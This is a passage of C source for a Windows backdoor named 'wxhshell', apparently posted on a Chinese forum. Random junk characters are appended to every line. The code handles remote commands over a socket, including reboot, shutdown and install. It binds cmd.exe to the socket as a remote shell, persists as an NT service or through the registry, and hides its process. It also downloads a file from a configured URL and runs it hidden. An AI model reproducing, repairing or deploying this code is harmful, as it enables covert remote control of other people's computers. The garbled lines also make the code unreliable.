  case '?': { F8|m i`f-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2yV^'o)  
    break; P4fnBH4OQ  
  } mI5!rrRD|  
  // 安装 2^y*O  
  case 'i': { +#9 4 X)*  
    if(Install()) E_\V^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w9675D+  
    else V/BU(`~i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pj Md  
    break; f<M!L> +M6  
    } r9n:[A&HE  
  // 卸载 -Eoq#ULvR  
  case 'r': { ef2)k4)"  
    if(Uninstall()) eIQ@){lJ-]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eU\XAN#@  
    else *z&hXYm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +*wr=9>  
    break; .mplML0oW  
    } u{S"NEc  
  // 显示 wxhshell 所在路径 8khIy-9-'  
  case 'p': { -PTfsQk  
    char svExeFile[MAX_PATH]; } ^2'@y!(  
    strcpy(svExeFile,"\n\r"); 1 0^FfwRfM  
      strcat(svExeFile,ExeFile); a#a n+JY3  
        send(wsh,svExeFile,strlen(svExeFile),0); 5,?^SK|'x  
    break; B`:l;<&jX  
    } f o idneus  
  // 重启 TQth"Cv2:  
  case 'b': { 1p8hn!V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T\"-q4+=C  
    if(Boot(REBOOT)) (wf3HEb_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j<)`|?@e(  
    else { *W2o$_Hs  
    closesocket(wsh); c$x >6&&L  
    ExitThread(0); `eeA,K_  
    } Z9eP(ip  
    break; 1Cw HGO  
    } Y]DC; ,  
  // 关机 ?_eHvw  
  case 'd': { kW=!RX[&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E] rBq_S  
    if(Boot(SHUTDOWN)) gt\kTn."  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hyi'z1  
    else { odn3*{c{x  
    closesocket(wsh); 'V\V=yc1  
    ExitThread(0); 0~ o,^AW  
    } e m  
    break; *,28@_EwY  
    } 6Ad=#MM  
  // 获取shell L%+mD$@u  
  case 's': { G&08Qb ,N  
    CmdShell(wsh); $laUkD#vz  
    closesocket(wsh); ;vy<!@Y;8  
    ExitThread(0); J,\e@  
    break; M0$E_*  
  } je%D&ci$  
  // 退出 z\$(@:{A  
  case 'x': { )y{:Uc\4!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tG~[E,/`  
    CloseIt(wsh); #Hy\l J  
    break; 3-'3w,  
    } M3r;Pdj2r  
  // 离开 ;]@Pm<f  
  case 'q': { LqNyi   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~/XDA:nfL:  
    closesocket(wsh); >dgz/n?:v  
    WSACleanup(); v]Aop<KLX  
    exit(1); lB.n5G  
    break; RhC|x,E  
        } `3`.usw  
  } 8H|ac[hXK2  
  } 1jO%\uR/  
F)v  
  // 提示信息 .R l7,1\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pm,.[5uc  
} x2'pl (^  
  } 4-I7"pW5  
pC #LQ  
  return; 7O:g;UI#  
} N,l"9>CF  
M8/:PmR<  
// shell模块句柄 XUnw*3tPJ  
int CmdShell(SOCKET sock) T#wG]DH;  
{ pRd'\+  
STARTUPINFO si; vPc*x5w-  
ZeroMemory(&si,sizeof(si)); $HtGB]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9Q!Z9n"8~)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tzv4uD]  
PROCESS_INFORMATION ProcessInfo; @DF7j|]tV  
char cmdline[]="cmd"; vn!3Z!dm(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jw`05rw:  
  return 0; sG)aw`_j  
} n$v4$_qS  
-y{(h% 6  
// 自身启动模式 [YZgQ  
int StartFromService(void) !0vLSF=  
{ b`@C#qB  
typedef struct &FuL {YL  
{ b%vIaP|]B  
  DWORD ExitStatus; HUAYtUBH  
  DWORD PebBaseAddress; E AZX  
  DWORD AffinityMask; e<*qaUI  
  DWORD BasePriority; F-oe49p5e  
  ULONG UniqueProcessId; ?5/7 @V  
  ULONG InheritedFromUniqueProcessId; iJZNSRQJ}r  
}   PROCESS_BASIC_INFORMATION; EW1,&H  
GdY@$&z{i  
PROCNTQSIP NtQueryInformationProcess; v/=\(  
>^GV #z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |:.Uw\z5'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5[4nFa}R:5  
s]|tKQGl,  
  HANDLE             hProcess; 79D~Mau#  
  PROCESS_BASIC_INFORMATION pbi; t 7o4 aBl"  
ZO/u3&gU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e([>sAx!1  
  if(NULL == hInst ) return 0; ([}08OW@  
9[;da  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }WaZ+Mdg\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "qd|!:bE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gPb.%^p  
k!}(a0h  
  if (!NtQueryInformationProcess) return 0; {u2Zl7]z^  
)Jdku}Pf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d~QM@<SV  
  if(!hProcess) return 0; w;j<$<4=7  
>TY;l3ew  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _U-`/r o  
y_w  <3  
  CloseHandle(hProcess); o-7{\%+M  
yNow hh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z"%.  
if(hProcess==NULL) return 0; euVDrJ^  
Z\xnPhV  
HMODULE hMod; *OznZIn  
char procName[255]; BAY e:0  
unsigned long cbNeeded; 0 !{X8>x  
ydo9 P5E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rq4g~e!S  
_#NibW  
  CloseHandle(hProcess); s)`(@"{  
bxtH`^  
if(strstr(procName,"services")) return 1; // 以服务启动 r)>3YM5  
F8"J<VJ7  
  return 0; // 注册表启动 iw3\`,5   
} =CJ`0yDQ>  
}7(+#ISK6  
// 主模块 PfRA\  
int StartWxhshell(LPSTR lpCmdLine) *1{A'`.=\  
{ v/9ZTd  
  SOCKET wsl; GWWg3z.o"W  
BOOL val=TRUE; f? @Qt<+k  
  int port=0; z<%bNnSO  
  struct sockaddr_in door; c:u*-lYmK%  
eZqEFMBTm  
  if(wscfg.ws_autoins) Install(); ZY]$MZf5yo  
^4+NPk  
port=atoi(lpCmdLine); kN Ll|in@  
6QCV i  
if(port<=0) port=wscfg.ws_port; W"\}##  
6j XDLI  
  WSADATA data; #~)A#~4O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _.Hj:nFHz  
`;+x\0@<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kSzap+nB?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I9qFXvqL  
  door.sin_family = AF_INET; [,,@>nyD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $"W[e"Q  
  door.sin_port = htons(port); {$hWz(  
nPdkvs   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i.uyfV&F  
closesocket(wsl); q i yK  
return 1; @n?"*B  
} &qG/\  
KR?aL:RYb  
  if(listen(wsl,2) == INVALID_SOCKET) { q,L>PN+W  
closesocket(wsl); 5\C(2naf  
return 1;   8sG?|u  
} [0y,K{8t  
  Wxhshell(wsl); |ymW0gh7o$  
  WSACleanup(); r9WR1&T)  
Dg.~"h5mT  
return 0;  x _>1x#  
U&1O  
} :ig=zETM  
x-k-Pd  
// 以NT服务方式启动 h~\k;ca  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Si]?4:E7=  
{ 7*+CX  
DWORD   status = 0; M$%ON>K q  
  DWORD   specificError = 0xfffffff; %xCL&}bY  
SoM,o]s#y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JxtzI2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <q$Tk,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A{ T9-f@X  
  serviceStatus.dwWin32ExitCode     = 0; YiO}"  
  serviceStatus.dwServiceSpecificExitCode = 0; UTh2? Rh/  
  serviceStatus.dwCheckPoint       = 0; )/@KdEA:  
  serviceStatus.dwWaitHint       = 0; fc@<'-VA  
)VkVZf | S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Q7=6  
  if (hServiceStatusHandle==0) return; nt$P A(Y  
En9J7es_  
status = GetLastError(); X-(( [A  
  if (status!=NO_ERROR) 81x/ bx@L%  
{ >^Wpc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >W] Wc4 \  
    serviceStatus.dwCheckPoint       = 0; /C Xg$%\  
    serviceStatus.dwWaitHint       = 0; -LRx}Mb9  
    serviceStatus.dwWin32ExitCode     = status; ,.p 36ZLP  
    serviceStatus.dwServiceSpecificExitCode = specificError; @[9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'RKpMdoz  
    return; ,]wQ]fpt  
  } lwX9:[Z  
!9PAfi?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .8^mA1fmX  
  serviceStatus.dwCheckPoint       = 0; z0 /+P  
  serviceStatus.dwWaitHint       = 0; ]vz6DJs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8%m\J:e R  
} H"? 5]!p  
#;a+)~3*O  
// 处理NT服务事件,比如:启动、停止 hzr, %r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r+ 8Tp|%  
{ Db|JR  
switch(fdwControl) WUie `p  
{ DCiU?u~  
case SERVICE_CONTROL_STOP: Zqm%qm:  
  serviceStatus.dwWin32ExitCode = 0; X5/j8=G H`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'uL$j=vB  
  serviceStatus.dwCheckPoint   = 0; yg'CL/P  
  serviceStatus.dwWaitHint     = 0; WLXt@dK*u  
  { Q2ne]MI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *uRDB9#9,  
  } GBb8 }lx  
  return; * cW%Q@lit  
case SERVICE_CONTROL_PAUSE: 2QbKh)   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eR5q3E/;G  
  break; eC"e v5v  
case SERVICE_CONTROL_CONTINUE: O713'i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,jC~U s<  
  break; )u Hat#  
case SERVICE_CONTROL_INTERROGATE: [>?|wQy>=  
  break; 4z5qXI/<m4  
}; rhPv{6Z|7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?GNR ab  
} 9)vU/fJ|  
jc_k\  
// 标准应用程序主函数 /r'Fq =z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >$rH,Er  
{ }w35fG^  
P?>:YY53  
// 获取操作系统版本 H if| z[0$  
OsIsNt=GetOsVer(); (Ud"+a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PU.j(0  
&2  Yo  
  // 从命令行安装 H4 O"^#5  
  if(strpbrk(lpCmdLine,"iI")) Install(); jbS@6 * _  
h/\ Zq  
  // 下载执行文件 OXM=@B<"  
if(wscfg.ws_downexe) { S;Sy.Lp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l H_pG~  
  WinExec(wscfg.ws_filenam,SW_HIDE); K\Q4u4DjbJ  
} %1k"K~eu  
-FZNk}  
if(!OsIsNt) { 1VFCK&  
// 如果时win9x,隐藏进程并且设置为注册表启动 #]c_ 2V  
HideProc(); F-:AT$Ok  
StartWxhshell(lpCmdLine); `$1A;wg<  
} 1N$OXLu  
else { /!ryOA65  
  if(StartFromService()) d1g7:s9$0  
  // 以服务方式启动 (G+)v[f  
  StartServiceCtrlDispatcher(DispatchTable); :^?-bppYW  
else tE-bHu370  
  // 普通方式启动 ]#shuZ##>0  
  StartWxhshell(lpCmdLine); \ky oA Z  
2<J2#}+ \  
return 0; -:_3N2U=+  
}
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只看该作者 1 发表于: 2006-10-10
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